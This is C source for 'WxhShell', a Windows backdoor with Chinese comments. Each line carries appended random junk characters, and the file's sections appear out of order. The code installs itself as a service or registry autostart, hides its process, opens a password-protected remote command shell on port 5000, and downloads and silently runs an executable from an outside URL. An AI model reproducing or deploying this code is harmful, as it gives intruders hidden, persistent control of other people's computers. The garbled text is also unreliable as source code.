DWORD PebBaseAddress; 0vcFX)]yW
DWORD AffinityMask; Wp//SV
DWORD BasePriority; "=*
ULONG UniqueProcessId; U_5\FM
ULONG InheritedFromUniqueProcessId; E1>zKENN;
} PROCESS_BASIC_INFORMATION; j6BFh=?D
=T|m#*{.L
PROCNTQSIP NtQueryInformationProcess; vtXZ`[D,l)
Cx
;n#dn*
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [K `d?&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LS4E.Xdn
.Yxf0y?uv
HANDLE hProcess; iIU>:)i
PROCESS_BASIC_INFORMATION pbi; $%5!CD1)
DZV U!J
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oqy}?<SQ
if(NULL == hInst ) return 0; NV9H"fI
),f d,
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <O]B'Wc [
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =kn-F T
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \>
q#.+P1"U
if (!NtQueryInformationProcess) return 0; P6;Cohfh
p}h9>R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rTM0[2N
if(!hProcess) return 0; o`\@Yq$.
(?~*.g!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [2nPr^
(J`EC
CloseHandle(hProcess); *@[+C~U
6q~*\KRk
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CL"q"
if(hProcess==NULL) return 0; (W_U<~`t
[HQ Bx`3TS
HMODULE hMod; mf)E%qo
char procName[255]; ?a` $Y>?h
unsigned long cbNeeded; s%t =*+L\
*gN)a%9
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t`vIcCXqyl
\m1jV>q
CloseHandle(hProcess); d# q8-
&BQ%df<y\
if(strstr(procName,"services")) return 1; // 以服务启动 LArfX,x3i
Vc|uQ8Mi
return 0; // 注册表启动 |&H(skF_
} p`3$NCJN
*\F,?yU
// 主模块 l*n4d[0J
int StartWxhshell(LPSTR lpCmdLine) %1e{"_$O9
{ :faB7wduW;
SOCKET wsl; -LEpT$v|
BOOL val=TRUE; 7|q _JdKoU
int port=0; O@? *5
struct sockaddr_in door; - x]gp5
Ixv/xI
if(wscfg.ws_autoins) Install(); -gb'DN1BG
T>pz?e^5&
port=atoi(lpCmdLine); ^ot9Q
bGa"r
if(port<=0) port=wscfg.ws_port; pn4~?Aua0/
1IV
R4:a
WSADATA data; }
OAH/BW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g+M& _n
,SSq4
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; /S&8%fb
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K!_''Fg
door.sin_family = AF_INET; "\1QJ
door.sin_addr.s_addr = inet_addr("127.0.0.1"); W1p5F\ wt
door.sin_port = htons(port); t+Hx&_pMj
%%f(R7n
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { dSIZsapH
closesocket(wsl); ^ l9NF
return 1; ]eIV'lP,j/
} ~3s\Q%
=hB0p^a
if(listen(wsl,2) == INVALID_SOCKET) { 7NDjXcuq
closesocket(wsl); U Zc%XZ`"V
return 1; [49Ae2W`
} /V)4B4
Wxhshell(wsl); <Z8^.t)|
WSACleanup(); ]*JH~.p
7.tEi}O&_g
return 0; gVI2{\a
:_"%o=
} yaKw/vV
bcC+af0L
// 以NT服务方式启动 n0CS=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r&c31k]E
{ Z7Xic5PI{4
DWORD status = 0; ~Y'j8W
DWORD specificError = 0xfffffff; YR}By;Bq
L% ?3VW
serviceStatus.dwServiceType = SERVICE_WIN32; 9V( esveq
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ?br 4 wl
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [u}2xsSx
serviceStatus.dwWin32ExitCode = 0; &%`Y>\@f
serviceStatus.dwServiceSpecificExitCode = 0; 3Mt Alc0xp
serviceStatus.dwCheckPoint = 0; x$Tf IFy
serviceStatus.dwWaitHint = 0; =
~^
&[|P/gj#>
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 ]v]^Y'?
if (hServiceStatusHandle==0) return; ;m cu(J
h`b[c.%
status = GetLastError(); *]RCfHo\=
if (status!=NO_ERROR) a#4 'X*
{ , 1`-u$
serviceStatus.dwCurrentState = SERVICE_STOPPED; 2%(RB4+
serviceStatus.dwCheckPoint = 0; *oU-V#
serviceStatus.dwWaitHint = 0; '`fz|.|cbB
serviceStatus.dwWin32ExitCode = status; <tp#KZE
serviceStatus.dwServiceSpecificExitCode = specificError; u.Z,HsEO b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); @O%d2bgEWV
return; ;IYH5sG{
} 6`l7saHXE
WYNO6Xb#:
serviceStatus.dwCurrentState = SERVICE_RUNNING; f:|O);nM
serviceStatus.dwCheckPoint = 0; |8YP8o
serviceStatus.dwWaitHint = 0; {r2fIj~V
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");
KL\]1YX
} a#G]5TZ
cPm-)/E)i
// 处理NT服务事件,比如:启动、停止 S|?Ht61k
VOID WINAPI NTServiceHandler(DWORD fdwControl) &b7i> ()
{ +Jv*u8T'
switch(fdwControl) *.ZU" 5e
{ aR~Od Ys
case SERVICE_CONTROL_STOP: I~.d/!>Z
serviceStatus.dwWin32ExitCode = 0; <OC|z3na_
serviceStatus.dwCurrentState = SERVICE_STOPPED; .&Ok53]b
serviceStatus.dwCheckPoint = 0; xRU ~hQ
serviceStatus.dwWaitHint = 0; 4%L-3Ij
{ KGoHn6jM
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,t=12R]>
} ,dO$R.h
return; X0"f>.Lg
case SERVICE_CONTROL_PAUSE: hpVu
serviceStatus.dwCurrentState = SERVICE_PAUSED; Qo;#}%}^^
break; )Mj
$/
case SERVICE_CONTROL_CONTINUE: eX@7f!uz
serviceStatus.dwCurrentState = SERVICE_RUNNING; J\ V.J/
break; qTl/bFD
case SERVICE_CONTROL_INTERROGATE: Ud8*yB
break; ';hTGLq\X
}; Udh!%QP%[w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); bhb*,iWA
} WDdp(<
k;9"L90
// 标准应用程序主函数 2og8VI
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) GXE6=BO
{ @\UoZv(
>)IXc<"wq
// 获取操作系统版本 4/Bn9F
OsIsNt=GetOsVer(); %g<J"/
GetModuleFileName(NULL,ExeFile,MAX_PATH); }_{QsPx9
(s\":5
C
// 从命令行安装 /-W-MP=Wd
if(strpbrk(lpCmdLine,"iI")) Install(); > \KVg(?D
FTg4i\Wp
// 下载执行文件 hIr$^%
if(wscfg.ws_downexe) { r
7mg>3
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K{s%h0
WinExec(wscfg.ws_filenam,SW_HIDE); KtFxG6a
} S"z cSkF
]$vJK
if(!OsIsNt) { khW9n*
// 如果时win9x,隐藏进程并且设置为注册表启动 U8b1
sz
HideProc(); Kx;DmwX-
StartWxhshell(lpCmdLine); OJ'x>kE
} oe5.tkc
else h1 D#,
if(StartFromService()) oYG].PC
// 以服务方式启动 gAY%VFBP0
StartServiceCtrlDispatcher(DispatchTable); dTV:/QM
else K~# wvUb
// 普通方式启动 p~sfd
StartWxhshell(lpCmdLine); ~',}]_'oR-
I'[hvp
return 0; Sl{nS1q
} -*K!JC-
`>q|_w\e
B~u_zZE
s\`Vr;R:|
=========================================== |;-,(509
jbHk
$VrKoL\ScA
P9p{j1*;
`37GVo4
|
3`qT#p{
" ; YaR|)B
lK?
Z38
#include <stdio.h> / h6(!-"
#include <string.h> Z`?<A da
#include <windows.h> Jb~ -)n2
#include <winsock2.h> E00zf3Jgv'
#include <winsvc.h> UEq;}4Bo
#include <urlmon.h> I>27U<PX
>q&Q4E0
#pragma comment (lib, "Ws2_32.lib") (Jw[}&+
#pragma comment (lib, "urlmon.lib") !k&~|_$0@
Te8BFcJG
#define MAX_USER 100 // 最大客户端连接数 id-VoHdK
#define BUF_SOCK 200 // sock buffer Hr$oT=x[
#define KEY_BUFF 255 // 输入 buffer LaZF=<w(
c#G]3vTdE
#define REBOOT 0 // 重启 s'^zudx
#define SHUTDOWN 1 // 关机 ;!@\|E
t#y
#define DEF_PORT 5000 // 监听端口 (/_Q
r2KfC
P#H#@:/3
#define REG_LEN 16 // 注册表键长度 gKZ{ O
#define SVC_LEN 80 // NT服务名长度 +fhyw{
|7Q8WjCQ{m
// 从dll定义API R0<ka[+
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _^RN
C)ol
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J{mP5<8>b
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4:}`X
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); QD:0iD?
xLZQ\2q
// wxhshell配置信息 lxK_+fj
q
struct WSCFG { g[;iVX^1&
int ws_port; // 监听端口 \2<2&=h?
char ws_passstr[REG_LEN]; // 口令 ISr~JQr
int ws_autoins; // 安装标记, 1=yes 0=no r1FE$R~C=
char ws_regname[REG_LEN]; // 注册表键名 5Ag>,>kJ6
char ws_svcname[REG_LEN]; // 服务名 Xl6)&
char ws_svcdisp[SVC_LEN]; // 服务显示名 4[3T%jA
char ws_svcdesc[SVC_LEN]; // 服务描述信息 D^PsV
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +k"dN^K]D
int ws_downexe; // 下载执行标记, 1=yes 0=no Et'C4od s
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wN)R !6
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 | 4I x2GD
04;y%~,}U/
}; ABV\:u
,l<-*yMD
// default Wxhshell configuration z1+rz%
struct WSCFG wscfg={DEF_PORT, FGx_qBG4|
"xuhuanlingzhe", 4Uf+t?U9
1, e#^|NQ<'A
"Wxhshell", Z"?AaD[
"Wxhshell", Za!c=(5
"WxhShell Service", s/[i>`g/9
"Wrsky Windows CmdShell Service", ud:?~?j&w
"Please Input Your Password: ", U30)r+&
1, ^TWN_(-@
"http://www.wrsky.com/wxhshell.exe", ~rCnST
"Wxhshell.exe" Wsz='@XvB
}; <J-OwO a-1
8"LaP3U
// 消息定义模块 )O- x1U
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %FFw!eVi
char *msg_ws_prompt="\n\r? for help\n\r#>"; FA^x|C =$
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Re1@2a>
char *msg_ws_ext="\n\rExit."; -e(2?Xq9
char *msg_ws_end="\n\rQuit."; /&j4I